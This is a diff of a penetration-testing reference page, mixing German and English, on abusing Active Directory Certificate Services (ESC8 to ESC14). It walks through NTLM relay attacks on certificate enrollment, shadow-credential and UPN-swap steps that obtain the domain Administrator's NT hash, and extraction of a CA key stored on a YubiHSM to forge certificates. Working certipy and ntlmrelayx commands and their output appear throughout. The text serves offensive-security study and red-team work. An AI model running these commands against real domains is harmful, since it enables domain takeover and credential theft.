enrollment interface** (an older ASP application available at `http:///certsrv/`), defaults to HTTP only, which does not offer protection against NTLM relay attacks. Additionally, it explicitly permits only NTLM authentication through its Authorization HTTP header, rendering more secure authentication methods like Kerberos inapplicable. +- The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) by default support negotiate authentication via their Authorization HTTP header. Negotiate authentication **supports both** Kerberos and **NTLM**, allowing an attacker to **downgrade to NTLM** authentication during relay attacks. Although these web services enable HTTPS by default, HTTPS alone **does not safeguard against NTLM relay attacks**. Protection from NTLM relay attacks for HTTPS services is only possible when HTTPS is combined with channel binding. Regrettably, AD CS does not activate Extended Protection for Authentication on IIS, which is required for channel binding. -Ein häufiges **Problem** bei NTLM relay attacks ist die **kurze Dauer von NTLM-Sitzungen** und die Unmöglichkeit für den Angreifer, mit Diensten zu interagieren, die **NTLM signing** verlangen. +A common **issue** with NTLM relay attacks is the **short duration of NTLM sessions** and the inability of the attacker to interact with services that **require NTLM signing**. + +Nevertheless, this limitation is overcome by exploiting an NTLM relay attack to acquire a certificate for the user, as the certificate's validity period dictates the session's duration, and the certificate can be employed with services that **mandate NTLM signing**. For instructions on utilizing a stolen certificate, refer to: -Diese Einschränkung lässt sich jedoch umgehen, indem ein NTLM-Relay-Angriff ausgenutzt wird, um ein Zertifikat für den Benutzer zu erhalten, da die Gültigkeitsdauer des Zertifikats die Sitzungslänge bestimmt und das Zertifikat bei Diensten verwendet werden kann, die **NTLM signing** verlangen. Anweisungen zur Nutzung eines gestohlenen Zertifikats findest du unter: {{#ref}} account-persistence.md {{#endref}} -Eine weitere Einschränkung von NTLM relay attacks ist, dass **eine vom Angreifer kontrollierte Maschine** von einem Opferkonto authentifiziert werden muss. Der Angreifer kann entweder warten oder versuchen, diese Authentifizierung zu **erzwingen**: +Another limitation of NTLM relay attacks is that **an attacker-controlled machine must be authenticated to by a victim account**. The attacker could either wait or attempt to **force** this authentication: + {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} -### **Missbrauch** +### **Abuse** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` listet **aktivierte HTTP AD CS Endpunkte** auf: +Der `cas`-Befehl von [**Certify**](https://github.com/GhostPack/Certify) listet **aktivierte HTTP AD CS-Endpunkte** auf: ``` Certify.exe cas ``` @@ -437,9 +439,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Missbrauch mit [Certipy](https://github.com/ly4k/Certipy) -Die Anforderung eines Zertifikats wird von Certipy standardmäßig basierend auf der Vorlage `Machine` oder `User` vorgenommen, wobei dies davon abhängt, ob der weitergeleitete Kontoname mit `$` endet. Eine alternative Vorlage kann durch die Verwendung des Parameters `-template` angegeben werden. +Die Anforderung eines Zertifikats wird von Certipy standardmäßig auf Basis der Vorlage `Machine` oder `User` gestellt, abhängig davon, ob der weitergeleitete Kontoname mit `$` endet. Die Angabe einer alternativen Vorlage kann durch Verwendung des Parameters `-template` erfolgen. -Eine Technik wie [PetitPotam](https://github.com/ly4k/PetitPotam) kann anschließend eingesetzt werden, um eine Authentifizierung zu erzwingen. Bei Domänencontrollern ist die Angabe `-template DomainController` erforderlich. +Eine Technik wie [PetitPotam](https://github.com/ly4k/PetitPotam) kann dann eingesetzt werden, um Authentifizierung zu erzwingen. Bei Domain Controllern ist die Angabe von `-template DomainController` erforderlich. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -452,59 +454,59 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## Keine Security Extension - ESC9 +## No Security Extension - ESC9 ### Erklärung -Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, bezeichnet als ESC9, verhindert das Einbetten der **neuen `szOID_NTDS_CA_SECURITY_EXT` security extension** in ein Zertifikat. Diese Flagge wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` gesetzt ist (Standardeinstellung), was im Gegensatz zu einer Einstellung von `2` steht. Ihre Relevanz steigt in Szenarien, in denen eine schwächere Zertifikatzuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie bei ESC10), da das Fehlen von ESC9 die Anforderungen nicht verändern würde. +Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, bezeichnet als ESC9, verhindert die Einbettung der neuen `szOID_NTDS_CA_SECURITY_EXT` Sicherheits-Erweiterung in ein Zertifikat. Dieses Flag wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` gesetzt ist (Standardeinstellung), im Gegensatz zu einer Einstellung von `2`. Seine Relevanz steigt in Szenarien, in denen eine schwächere Zertifikat-Zuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie bei ESC10), da das Fehlen von ESC9 die Anforderungen nicht ändern würde. -Die Bedingungen, unter denen die Einstellung dieser Flagge relevant wird, umfassen: +Bedingungen, unter denen die Einstellung dieses Flags bedeutsam wird, sind unter anderem: - `StrongCertificateBindingEnforcement` ist nicht auf `2` gesetzt (Standard ist `1`), oder `CertificateMappingMethods` enthält das `UPN`-Flag. -- Das Zertifikat ist in der `msPKI-Enrollment-Flag`-Einstellung mit der Flagge `CT_FLAG_NO_SECURITY_EXTENSION` markiert. -- Irgendeine Client-Authentication-EKU ist im Zertifikat angegeben. -- `GenericWrite`-Berechtigungen bestehen über ein Konto, um ein anderes zu kompromittieren. +- Das Zertifikat ist im `msPKI-Enrollment-Flag` mit dem `CT_FLAG_NO_SECURITY_EXTENSION`-Flag markiert. +- Das Zertifikat gibt eine beliebige Client-Authentication-EKU an. +- Über irgendein Konto bestehen `GenericWrite`-Berechtigungen, um ein anderes Konto zu kompromittieren. ### Missbrauchsszenario -Angenommen, `John@corp.local` hat `GenericWrite`-Berechtigungen über `Jane@corp.local`, mit dem Ziel, `Administrator@corp.local` zu kompromittieren. Die `ESC9`-Zertifikatvorlage, für die sich `Jane@corp.local` anmelden darf, ist in ihrer `msPKI-Enrollment-Flag`-Einstellung mit der Flagge `CT_FLAG_NO_SECURITY_EXTENSION` konfiguriert. +Angenommen, `John@corp.local` besitzt `GenericWrite`-Berechtigungen über `Jane@corp.local`, mit dem Ziel, `Administrator@corp.local` zu kompromittieren. Die `ESC9`-Zertifikatvorlage, für die sich `Jane@corp.local` anmelden darf, ist in ihrem `msPKI-Enrollment-Flag`-Feld mit dem `CT_FLAG_NO_SECURITY_EXTENSION`-Flag konfiguriert. -Zunächst wird `Jane`'s Hash mittels Shadow Credentials erlangt, dank `John`'s `GenericWrite`: +Zunächst wird Janes Hash mithilfe von Shadow Credentials erlangt, dank Johns `GenericWrite`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Anschließend wird `Jane`'s `userPrincipalName` auf `Administrator` geändert, wobei bewusst der Domain-Teil `@corp.local` weggelassen wird: +Anschließend wird der `userPrincipalName` von `Jane` auf `Administrator` geändert, wobei der Domain-Teil `@corp.local` absichtlich weggelassen wird: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Diese Änderung verstößt nicht gegen die Einschränkungen, da `Administrator@corp.local` weiterhin als `Administrator`'s `userPrincipalName` eindeutig bleibt. +Diese Änderung verletzt die Einschränkungen nicht, da `Administrator@corp.local` weiterhin eindeutig als `Administrator`'s `userPrincipalName` erhalten bleibt. -Anschließend wird die als verwundbar markierte Zertifikatvorlage `ESC9` als `Jane` angefordert: +Anschließend wird die als verwundbar markierte `ESC9`-Zertifikatvorlage als `Jane` angefordert: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Es fällt auf, dass der `userPrincipalName` des Zertifikats `Administrator` anzeigt und keine „object SID“ aufweist. +Es fällt auf, dass der `userPrincipalName` des Zertifikats `Administrator` widerspiegelt, ohne irgendeine “object SID”. -Der `userPrincipalName` von `Jane` wird dann auf ihren ursprünglichen Wert, `Jane@corp.local`, zurückgesetzt: +Der `userPrincipalName` von `Jane` wird dann auf ihren ursprünglichen Wert `Jane@corp.local` zurückgesetzt: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Der Versuch, sich mit dem ausgestellten Zertifikat zu authentifizieren, liefert nun den NT-Hash von `Administrator@corp.local`. Der Befehl muss `-domain ` enthalten, da das Zertifikat keine Domain-Angabe hat: +Ein Versuch, sich mit dem ausgestellten Zertifikat zu authentifizieren, liefert jetzt den NT hash von `Administrator@corp.local`. Der Befehl muss `-domain ` enthalten, da im Zertifikat keine Domain angegeben ist: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Schwache Zertifikatszuordnungen - ESC10 +## Weak Certificate Mappings - ESC10 ### Erklärung -ESC10 bezieht sich auf zwei Registry-Schlüsselwerte auf dem Domänencontroller: +ESC10 bezieht sich auf zwei Registry-Schlüsselwerte auf dem Domain Controller: -- Der Standardwert für `CertificateMappingMethods` unter `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` ist `0x18` (`0x8 | 0x10`), zuvor auf `0x1F` gesetzt. -- Die Standardeinstellung für `StrongCertificateBindingEnforcement` unter `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` ist `1`, zuvor `0`. +- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`. +- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`. **Fall 1** -Wenn `StrongCertificateBindingEnforcement` auf `0` gesetzt ist. +Wenn `StrongCertificateBindingEnforcement` auf `0` konfiguriert ist. **Fall 2** @@ -514,17 +516,17 @@ Wenn `CertificateMappingMethods` das `UPN`-Bit (`0x4`) enthält. Wenn `StrongCertificateBindingEnforcement` auf `0` gesetzt ist, kann ein Konto A mit `GenericWrite`-Berechtigungen ausgenutzt werden, um jedes Konto B zu kompromittieren. -Beispielsweise, wenn man `GenericWrite`-Berechtigungen für `Jane@corp.local` hat, versucht ein Angreifer, `Administrator@corp.local` zu kompromittieren. Das Vorgehen entspricht ESC9 und erlaubt die Nutzung jeder Zertifikatvorlage. +Beispielsweise versucht ein Angreifer mit `GenericWrite`-Berechtigungen für `Jane@corp.local`, `Administrator@corp.local` zu kompromittieren. Das Vorgehen entspricht ESC9 und erlaubt die Nutzung beliebiger certificate templates. -Zunächst wird der Hash von `Jane` mittels Shadow Credentials abgerufen, wobei `GenericWrite` ausgenutzt wird. +Zunächst wird der Hash von `Jane` mithilfe von Shadow Credentials abgerufen, indem die `GenericWrite`-Berechtigung ausgenutzt wird. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Anschließend wird der `userPrincipalName` von `Jane` auf `Administrator` geändert, wobei bewusst der Teil `@corp.local` weggelassen wird, um eine Verletzung der Einschränkungen zu vermeiden. +Anschließend wird der `userPrincipalName` von `Jane` auf `Administrator` geändert, wobei absichtlich der Teil `@corp.local` weggelassen wird, um eine Constraint-Verletzung zu vermeiden. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Anschließend wird als `Jane` ein Zertifikat zur Client-Authentifizierung unter Verwendung der Standardvorlage `User` beantragt. +Anschließend wird als `Jane` ein Zertifikat angefordert, das Client-Authentifizierung ermöglicht, unter Verwendung der Standard-`User`-Vorlage. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` @@ -532,15 +534,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Die Authentifizierung mit dem erhaltenen Zertifikat liefert den NT hash von `Administrator@corp.local` und erfordert die Angabe der Domäne im Befehl, da im Zertifikat keine Informationen zur Domäne enthalten sind. +Die Authentifizierung mit dem erhaltenen Zertifikat liefert den NT-Hash von `Administrator@corp.local`; da im Zertifikat keine Domainangaben enthalten sind, muss die Domain im Befehl explizit angegeben werden. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` ### Missbrauchsfall 2 -Wenn `CertificateMappingMethods` das `UPN`-Bitflag (`0x4`) enthält, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B kompromittieren, das keine `userPrincipalName`-Eigenschaft besitzt, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`. +Wenn `CertificateMappingMethods` das `UPN`-Bitflag (`0x4`) enthält, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B kompromittieren, dem die `userPrincipalName`-Eigenschaft fehlt, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`. -Ziel ist hier, `DC$@corp.local` zu kompromittieren, beginnend damit, den Hash von `Jane` über Shadow Credentials zu erhalten, wobei `GenericWrite` ausgenutzt wird. +Hier ist das Ziel, `DC$@corp.local` zu kompromittieren, beginnend damit, den Hash von `Jane` mittels Shadow Credentials zu erhalten, unter Ausnutzung von `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` @@ -548,7 +550,7 @@ Der `userPrincipalName` von `Jane` wird dann auf `DC$@corp.local` gesetzt. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Ein Zertifikat zur Client-Authentifizierung wird als `Jane` mit der Standard-`User`-Vorlage angefordert. +Ein Zertifikat für die Client-Authentifizierung wird als `Jane` mithilfe der Standardvorlage `User` angefordert. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` @@ -556,23 +558,23 @@ Der `userPrincipalName` von `Jane` wird nach diesem Prozess auf den ursprünglic ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Um sich über Schannel zu authentifizieren, wird die `-ldap-shell`-Option von Certipy verwendet und zeigt eine erfolgreiche Authentifizierung als `u:CORP\DC$` an. +Zur Authentifizierung über Schannel wird Certipy’s `-ldap-shell`-Option genutzt; sie zeigt eine erfolgreiche Authentifizierung als `u:CORP\DC$` an. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Über die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Resource-Based Constrained Delegation (RBCD)-Angriffe und können potenziell den Domänencontroller kompromittieren. +Über die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Resource-Based Constrained Delegation (RBCD)-Angriffe, die möglicherweise den Domain Controller kompromittieren. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Diese Schwachstelle betrifft auch jedes Benutzerkonto, dem ein `userPrincipalName` fehlt oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt. Das standardmäßige Konto `Administrator@corp.local` ist ein Hauptziel, da es erweiterte LDAP-Rechte besitzt und standardmäßig keinen `userPrincipalName` hat. +Diese Schwachstelle betrifft auch jedes Benutzerkonto, dem ein `userPrincipalName` fehlt oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt. Das Standardkonto `Administrator@corp.local` ist ein primäres Ziel, da es standardmäßig über erhöhte LDAP-Rechte verfügt und kein `userPrincipalName` besitzt. ## Relaying NTLM to ICPR - ESC11 ### Erklärung -Wenn der CA-Server nicht mit `IF_ENFORCEENCRYPTICERTREQUEST` konfiguriert ist, können NTLM-Relay-Angriffe ohne Signierung über den RPC-Dienst durchgeführt werden. [Referenz hier](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Sie können `certipy` verwenden, um zu ermitteln, ob `Enforce Encryption for Requests` deaktiviert ist; certipy zeigt in diesem Fall `ESC11`-Vulnerabilities an. +Sie können `certipy` verwenden, um festzustellen, ob `Enforce Encryption for Requests` deaktiviert ist; certipy zeigt dann `ESC11`-Schwachstellen an. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -591,7 +593,7 @@ ESC11 : Encryption is not enforced for ICPR requests ``` ### Missbrauchsszenario -Es ist erforderlich, einen relay server einzurichten: +Es muss einen relay server einrichten: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -610,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Hinweis: Für Domain-Controller müssen wir `-template` in DomainController angeben. +Hinweis: Für Domain Controller müssen wir `-template` in DomainController angeben. -Oder mit [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : +Oder Verwendung von [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Shell-Zugriff auf ADCS CA mit YubiHSM - ESC12 +## Shell-Zugriff auf ADCS-CA mit YubiHSM - ESC12 ### Erklärung -Administratoren können die Zertifizierungsstelle so einrichten, dass sie auf einem externen Gerät wie dem "Yubico YubiHSM2" gespeichert wird. +Administratoren können die Certificate Authority so einrichten, dass sie auf einem externen Gerät wie dem Yubico YubiHSM2 gespeichert wird. -If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM. +Wenn ein USB-Gerät über einen USB-Port mit dem CA-Server verbunden ist, oder ein USB device server verwendet wird, falls der CA-Server eine virtuelle Maschine ist, wird ein Authentifizierungsschlüssel (manchmal als "password" bezeichnet) benötigt, damit der Key Storage Provider Schlüssel im YubiHSM erzeugen und verwenden kann. -This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext. +Dieser Schlüssel/password wird in der Registry unter `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` im Klartext gespeichert. Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Missbrauchsszenario +### Abuse Scenario -Wenn der private Schlüssel der CA auf einem physischen USB-Gerät gespeichert ist und Sie Shell-Zugriff erhalten haben, ist es möglich, den Schlüssel wiederherzustellen. +Wenn der private Schlüssel der CA auf einem physischen USB-Gerät gespeichert ist und Sie Shell-Zugriff erhalten, ist es möglich, den Schlüssel zu extrahieren. -Zuerst müssen Sie das CA-Zertifikat (dies ist öffentlich) beschaffen und dann: +Zuerst müssen Sie das CA-Zertifikat beschaffen (dies ist öffentlich) und dann: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -640,17 +642,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Verwenden Sie abschließend den certutil `-sign`-Befehl, um ein neues beliebiges Zertifikat mithilfe des CA-Zertifikats und dessen privatem Schlüssel zu fälschen. +Abschließend verwenden Sie den certutil `-sign` Befehl, um ein neues beliebiges Zertifikat mit dem CA-Zertifikat und dessen privatem Schlüssel zu fälschen. ## OID Group Link Abuse - ESC13 ### Erklärung -Das Attribut `msPKI-Certificate-Policy` ermöglicht das Hinzufügen einer Ausstellungsrichtlinie zur Zertifikatvorlage. Die `msPKI-Enterprise-Oid`-Objekte, die für die Vergabe dieser Richtlinien verantwortlich sind, können im Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) des PKI OID-Containers gefunden werden. Eine Richtlinie kann mit einer AD-Gruppe verknüpft werden, indem das Attribut `msDS-OIDToGroupLink` dieses Objekts verwendet wird, wodurch ein System einen Benutzer, der das Zertifikat vorlegt, so autorisieren kann, als ob er Mitglied dieser Gruppe wäre. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Das Attribut `msPKI-Certificate-Policy` erlaubt, die Ausstellungspolicy zur Zertifikatvorlage hinzuzufügen. Die `msPKI-Enterprise-Oid`-Objekte, die für Ausgabe-Policies verantwortlich sind, können im Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) des PKI OID-Containers entdeckt werden. Eine Policy kann mit einer AD-Gruppe verknüpft werden, indem das Attribut `msDS-OIDToGroupLink` dieses Objekts verwendet wird, wodurch ein System einen Benutzer, der das Zertifikat vorlegt, so autorisieren kann, als wäre er Mitglied der Gruppe. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). Mit anderen Worten: Wenn ein Benutzer die Berechtigung hat, ein Zertifikat zu beantragen und das Zertifikat mit einer OID-Gruppe verknüpft ist, kann der Benutzer die Privilegien dieser Gruppe übernehmen. -Verwenden Sie [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink: +Verwenden Sie [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) um OIDToGroupLink zu finden: ```bash Enumerating OIDs ------------------------ @@ -672,49 +674,49 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243 OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ------------------------ ``` -### Abuse Scenario +### Missbrauchsszenario -Finde eine Benutzerberechtigung, die man mit `certipy find` oder `Certify.exe find /showAllPermissions` ausfindig machen kann. +Finde eine Benutzerberechtigung, die der Benutzer mit `certipy find` oder `Certify.exe find /showAllPermissions` verwenden kann. -Wenn `John` die Berechtigung hat, `VulnerableTemplate` zu enrollen, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` übernehmen. +Wenn `John` die Berechtigung hat, das Template `VulnerableTemplate` zu enrollen, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` übernehmen. -Alles, was er tun muss, ist das Template anzugeben; er erhält dann ein Zertifikat mit OIDToGroupLink-Rechten. +Alles, was er tun muss, ist das Template anzugeben; er erhält ein Zertifikat mit OIDToGroupLink-Rechten. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Schwache Konfiguration der Zertifikatserneuerung - ESC14 +## Verwundbare Konfiguration der Zertifikatserneuerung - ESC14 -### Erläuterung +### Erklärung -Die Beschreibung unter https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ist bemerkenswert ausführlich. Nachfolgend eine Zitierung des Originaltextes. +Die Beschreibung unter https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ist außerordentlich ausführlich. Nachfolgend eine Übersetzung/Zitierung des Originaltexts. -ESC14 behandelt Schwachstellen, die aus "weak explicit certificate mapping" entstehen, hauptsächlich durch den Missbrauch oder unsichere Konfiguration des Attributes `altSecurityIdentities` an Active Directory-Benutzer- oder Computerobjekten. Dieses multiwertige Attribut erlaubt es Administratoren, X.509-Zertifikate manuell einem AD-Konto für Authentifizierungszwecke zuzuordnen. Wenn es befüllt ist, können diese expliziten Zuordnungen die standardmäßige Zertifikatszuordnungslogik überschreiben, die typischerweise auf UPNs oder DNS-Namen im SAN des Zertifikats oder auf der in der `szOID_NTDS_CA_SECURITY_EXT` Security-Extension eingebetteten SID beruht. +ESC14 betrifft Schwachstellen, die aus "weak explicit certificate mapping" entstehen, hauptsächlich durch den Missbrauch oder unsichere Konfiguration des Attributes `altSecurityIdentities` an Active Directory-Benutzer- oder Computerkonten. Dieses mehrwertige Attribut erlaubt Administratoren, X.509-Zertifikate manuell mit einem AD-Konto für Authentifizierungszwecke zu verknüpfen. Wenn es gesetzt ist, können diese expliziten Zuordnungen die standardmäßige Zertifikat-Zuordnungslogik überschreiben, die normalerweise auf UPNs oder DNS-Namen im SAN des Zertifikats oder der in der `szOID_NTDS_CA_SECURITY_EXT` Sicherheits-Erweiterung eingebetteten SID basiert. -Eine "schwache" Zuordnung tritt auf, wenn der Stringwert, der innerhalb des Attributes `altSecurityIdentities` zur Identifikation eines Zertifikats verwendet wird, zu allgemein, leicht zu erraten, abhängig von nicht-eindeutigen Zertifikatsfeldern oder aus leicht zu fälschenden Zertifikatkomponenten zusammengesetzt ist. Wenn ein Angreifer ein Zertifikat beschaffen oder erstellen kann, dessen Attribute mit einer derart schwach definierten expliziten Zuordnung für ein privilegiertes Konto übereinstimmen, kann er dieses Zertifikat verwenden, um sich als dieses Konto zu authentifizieren und es zu impersonifizieren. +Eine "schwache" Zuordnung tritt auf, wenn der in `altSecurityIdentities` verwendete String zur Identifizierung eines Zertifikats zu breit, leicht erratbar ist, sich auf nicht eindeutige Zertifikatfelder stützt oder leicht fälschbare Zertifikat-Komponenten verwendet. Wenn ein Angreifer ein Zertifikat beschaffen oder erstellen kann, dessen Attribute mit einer derart schwach definierten expliziten Zuordnung für ein privilegiertes Konto übereinstimmen, kann er dieses Zertifikat verwenden, um sich als dieses Konto zu authentifizieren und es zu imitieren. Beispiele für potenziell schwache `altSecurityIdentities`-Mapping-Strings sind: - Mapping ausschließlich über einen allgemeinen Subject Common Name (CN): z. B. `X509:CN=SomeUser`. Ein Angreifer könnte in der Lage sein, ein Zertifikat mit diesem CN aus einer weniger sicheren Quelle zu erhalten. -- Verwendung übermäßig generischer Issuer Distinguished Names (DNs) oder Subject DNs ohne weitere Qualifikationen wie eine spezifische Seriennummer oder subject key identifier: z. B. `X509:CN=SomeInternalCACN=GenericUser`. -- Einsatz anderer vorhersehbarer Muster oder nicht-kriptografischer Identifikatoren, die ein Angreifer in einem Zertifikat, das er legal erhalten oder (bei Kompromittierung einer CA oder einer verwundbaren Vorlage wie in ESC1) fälschen kann, erfüllen könnte. +- Verwendung übermäßig generischer Issuer Distinguished Names (DNs) oder Subject DNs ohne weitere Qualifikation wie eine spezifische Seriennummer oder Subject Key Identifier: z. B. `X509:CN=SomeInternalCACN=GenericUser`. +- Einsatz anderer vorhersagbarer Muster oder nicht-kriptografischer Identifikatoren, die ein Angreifer in einem Zertifikat, das er rechtmäßig erlangen oder (bei Kompromittierung einer CA oder einer verwundbaren Vorlage wie in ESC1) fälschen kann, erfüllen könnte. -Das Attribut `altSecurityIdentities` unterstützt verschiedene Formate für die Zuordnung, wie zum Beispiel: +Das `altSecurityIdentities`-Attribut unterstützt verschiedene Formate für die Zuordnung, wie z. B.: - `X509:IssuerDNSubjectDN` (Zuordnung nach vollständigem Issuer- und Subject-DN) -- `X509:SubjectKeyIdentifier` (Zuordnung nach dem Subject Key Identifier des Zertifikats) -- `X509:SerialNumberBackedByIssuerDN` (Zuordnung nach Seriennummer, implizit qualifiziert durch den Issuer DN) - dies ist kein Standardformat, normalerweise ist es `IssuerDNSerialNumber`. -- `X509:EmailAddress` (Zuordnung nach einem RFC822-Namen, typischerweise einer E-Mail-Adresse, aus dem SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (Zuordnung nach einem SHA1-Hash des rohen Public Keys des Zertifikats - generell stark) +- `X509:SubjectKeyIdentifier` (Zuordnung über den Subject Key Identifier des Zertifikats) +- `X509:SerialNumberBackedByIssuerDN` (Zuordnung nach Seriennummer, implizit durch den Issuer DN qualifiziert) - dies ist kein Standardformat, üblicherweise ist es `IssuerDNSerialNumber`. +- `X509:EmailAddress` (Zuordnung durch einen RFC822-Namen, typischerweise eine E-Mail-Adresse aus dem SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (Zuordnung durch einen SHA1-Hash des rohen öffentlichen Schlüssels des Zertifikats - generell stark) -Die Sicherheit dieser Zuordnungen hängt stark von der Spezifität, Einzigartigkeit und kryptografischen Stärke der in der Mapping-String gewählten Zertifikatsidentifier ab. Selbst mit aktivierten starken certificate binding modes auf Domänencontrollern (die hauptsächlich implizite Zuordnungen basierend auf SAN-UPNs/DNS und der SID-Extension beeinflussen) kann ein schlecht konfigurierter `altSecurityIdentities`-Eintrag trotzdem einen direkten Weg zur Impersonation bieten, wenn die Mapping-Logik selbst fehlerhaft oder zu permissiv ist. +Die Sicherheit dieser Zuordnungen hängt stark von der Spezifität, Einzigartigkeit und kryptografischen Stärke der gewählten Zertifikatsidentifikatoren im Mapping-String ab. Selbst mit aktivierten starken Zertifikat-Bindungsmodi auf Domain Controllern (die hauptsächlich implizite Zuordnungen basierend auf SAN-UPNs/DNS und der SID-Erweiterung betreffen) kann ein schlecht konfigurierter `altSecurityIdentities`-Eintrag weiterhin einen direkten Weg zur Imitation bieten, wenn die Zuordnungslogik selbst fehlerhaft oder zu permissiv ist. ### Missbrauchsszenario -ESC14 richtet sich gegen **explicit certificate mappings** in Active Directory (AD), speziell gegen das Attribut `altSecurityIdentities`. Wenn dieses Attribut gesetzt ist (durch Design oder Fehlkonfiguration), können Angreifer Konten impersonifizieren, indem sie Zertifikate präsentieren, die der Zuordnung entsprechen. +ESC14 zielt auf **explizite Zertifikatszuordnungen** in Active Directory (AD) ab, speziell auf das Attribut `altSecurityIdentities`. Wenn dieses Attribut gesetzt ist (durch Design oder Fehlkonfiguration), können Angreifer Konten imitieren, indem sie Zertifikate präsentieren, die der Zuordnung entsprechen. -#### Szenario A: Angreifer kann auf `altSecurityIdentities` schreiben +#### Szenario A: Angreifer kann in 